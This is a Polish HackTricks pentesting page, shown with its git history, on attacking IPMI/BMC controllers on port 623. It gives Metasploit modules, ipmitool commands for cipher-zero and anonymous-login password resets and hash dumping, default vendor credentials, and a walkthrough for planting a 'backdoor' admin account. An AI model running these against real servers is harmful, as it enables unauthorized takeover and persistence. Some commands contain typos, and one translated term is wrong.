hacktricks/network-services-pentesting/623-udp-ipmi.md

147 lines
11 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## Podstawowe informacje
2024-02-11 01:46:25 +00:00
### **Przegląd IPMI**
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferuje standaryzowane podejście do zdalnego zarządzania i monitorowania systemów komputerowych, niezależnie od systemu operacyjnego lub stanu zasilania. Ta technologia umożliwia administratorom systemów zdalne zarządzanie systemami, nawet gdy są wyłączone lub nieodpowiedzialne, i jest szczególnie przydatna do:
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
- Konfiguracji przed uruchomieniem systemu operacyjnego
- Zarządzanie wyłączaniem zasilania
- Przywracanie po awariach systemu
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
IPMI jest zdolne do monitorowania temperatur, napięć, prędkości wentylatorów i zasilaczy, a także dostarczania informacji o inwentarzu, przeglądania dzienników sprzętu i wysyłania alertów za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN.
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
Od wprowadzenia przez Intel w 1998 roku, IPMI jest obsługiwane przez licznych dostawców, zwiększając zdolności zdalnego zarządzania, zwłaszcza dzięki wsparciu wersji 2.0 dla transmisji szeregowej przez LAN. Kluczowe komponenty obejmują:
2024-02-11 01:46:25 +00:00
- **Kontroler zarządzania płytą główną (BMC):** Główny mikrokontroler do operacji IPMI.
- **Magistrale i interfejsy komunikacyjne:** Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB i różne interfejsy do połączeń lokalnych i sieciowych.
- **Pamięć IPMI:** Do przechowywania dzienników i danych.
2024-02-08 22:36:35 +01:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
2024-02-11 01:46:25 +00:00
**Domyślny port**: 623/UDP/TCP (Zazwyczaj działa na UDP, ale może również działać na TCP)
2024-02-11 01:46:25 +00:00
## Wyliczanie
2024-02-11 01:46:25 +00:00
### Odkrywanie
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
2024-02-11 01:46:25 +00:00
Możesz **zidentyfikować** wersję używając:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-11 01:46:25 +00:00
### Podatności IPMI
2024-02-11 01:46:25 +00:00
W dziedzinie IPMI 2.0 odkryto znaczącą lukę w zabezpieczeniach, odkrytą przez Dana Farmera, która ujawnia podatność poprzez **typ szyfrowania 0**. Ta podatność, szczegółowo udokumentowana w badaniach [Dana Farmera](http://fish2.com/ipmi/cipherzero.html), umożliwia nieautoryzowany dostęp przy użyciu dowolnego hasła, pod warunkiem, że jest to ważny użytkownik. Ta słabość została znaleziona w różnych BMC od producentów takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0.
2024-02-11 01:46:25 +00:00
### **Ominięcie uwierzytelniania IPMI za pomocą szyfrowania 0**
2024-02-08 22:36:35 +01:00
2024-02-11 01:46:25 +00:00
Aby wykryć tę lukę, można użyć następującego skanera pomocniczego w narzędziu Metasploit:
2024-02-08 22:36:35 +01:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
2024-02-11 01:46:25 +00:00
Eksploatacja tej luki jest możliwa za pomocą `ipmitool`, jak pokazano poniżej, umożliwiając listowanie i modyfikację haseł użytkowników:
```bash
2024-02-08 22:36:35 +01:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-11 01:46:25 +00:00
### **IPMI 2.0 RAKP - Pobieranie zdalnego hasha hasła uwierzytelniania**
2024-02-11 01:46:25 +00:00
Ta podatność umożliwia pobieranie solonych zahaszowanych haseł (MD5 i SHA1) dla dowolnej istniejącej nazwy użytkownika. Aby przetestować tę podatność, Metasploit oferuje moduł:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-11 01:46:25 +00:00
### **Anonimowa autoryzacja IPMI**
2024-02-11 01:46:25 +00:00
Domyślna konfiguracja wielu BMC (zarządzanie bazą danych) umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami znaków dla nazwy użytkownika i hasła. Konfiguracja ta może być wykorzystana do resetowania haseł dla nazwanych kont użytkowników za pomocą narzędzia `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 22:36:35 +01:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-11 01:46:25 +00:00
### **Supermicro IPMI Hasła w czystym tekście**
2024-02-11 01:46:25 +00:00
Krytyczny wybór projektowy w IPMI 2.0 wymaga przechowywania haseł w czystym tekście w BMC w celu uwierzytelniania. Przechowywanie tych haseł przez Supermicro w lokalizacjach takich jak `/nv/PSBlock` lub `/nv/PSStore` rodzi poważne obawy dotyczące bezpieczeństwa:
```bash
2024-02-08 22:36:35 +01:00
cat /nv/PSBlock
```
2024-02-11 01:46:25 +00:00
### **Podatność UPnP Supermicro IPMI**
2024-02-11 01:46:25 +00:00
Włączenie przez Supermicro nasłuchiwania UPnP SSDP w oprogramowaniu IPMI, zwłaszcza na porcie UDP 1900, wprowadza poważne ryzyko bezpieczeństwa. Podatności w wersji 1.3.1 Intel SDK for UPnP Devices, jak szczegółowo opisano w [publikacji Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), umożliwiają uzyskanie dostępu do BMC jako root:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 22:36:35 +01:00
### Brute Force
2024-02-11 01:46:25 +00:00
**HP losuje losowe hasło domyślne** dla swojego produktu **Integrated Lights Out (iLO)** podczas produkcji. Praktyka ta różni się od innych producentów, którzy zwykle używają **statycznych danych uwierzytelniających domyślnych**. Poniżej przedstawiono podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów:
2024-02-11 01:46:25 +00:00
- **HP Integrated Lights Out (iLO)** używa **losowego ciągu 8 znaków** jako hasła domyślnego, co świadczy o wyższym poziomie bezpieczeństwa.
- Produkty takie jak **iDRAC firmy Dell, IMM firmy IBM** i **Integrated Remote Management Controller firmy Fujitsu** używają łatwo odgadnialnych haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio.
- Podobnie, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** również używają prostych danych uwierzytelniających domyślnych, gdzie hasłami są "ADMIN", "changeme" i "admin".
2024-02-11 01:46:25 +00:00
## Dostęp do hosta za pośrednictwem BMC
2024-02-11 01:46:25 +00:00
Administracyjny dostęp do kontrolera zarządzania płytą główną (BMC) otwiera różne ścieżki dostępu do systemu operacyjnego hosta. Prostym podejściem jest wykorzystanie funkcjonalności klawiatury, wideo i myszy (KVM) BMC. Można to zrobić poprzez ponowne uruchomienie hosta do powłoki roota za pomocą GRUB (używając `init=/bin/sh`) lub uruchomienie z wirtualnego napędu CD-ROM jako dysku ratunkowego. Takie metody umożliwiają bezpośrednią manipulację dyskiem hosta, włącznie z wstawianiem tylnych drzwi, wydobyciem danych lub wykonaniem innych niezbędnych działań w celu oceny bezpieczeństwa. Jednak wymaga to ponownego uruchomienia hosta, co stanowi znaczącą wadę. Bez ponownego uruchamiania dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub konsola szeregowa hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC za pomocą `ipmitool`. Badanie wykorzystania współdzielonych zasobów sprzętowych, takich jak magistrala i2c i układ Super I/O, to obszar, który wymaga dalszych badań.
2024-02-11 01:46:25 +00:00
## Wprowadzanie tylnych drzwi do BMC z hosta
2024-02-11 01:46:25 +00:00
Po skompromitowaniu hosta wyposażonego w BMC, można wykorzystać **lokalny interfejs BMC do wstawienia konta użytkownika z tylnymi drzwiami**, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności narzędzia **`ipmitool`** na skompromitowanym hoście oraz aktywacji obsługi sterownika BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika można wstrzyknąć do BMC za pomocą lokalnego interfejsu hosta, omijając konieczność uwierzytelniania. Ta technika jest zastosowalna w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Odnośniki
2022-10-02 21:10:53 +00:00
2024-02-11 01:46:25 +00:00
* [https://blog.rapid7.com/2013/07/02/przewodnik-testera-penetracyjnego-po-ipmi/](https://blog.rapid7.com/2013/07/02/przewodnik-testera-penetracyjnego-po-ipmi/)
2022-10-02 21:10:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-03 11:42:55 +01:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>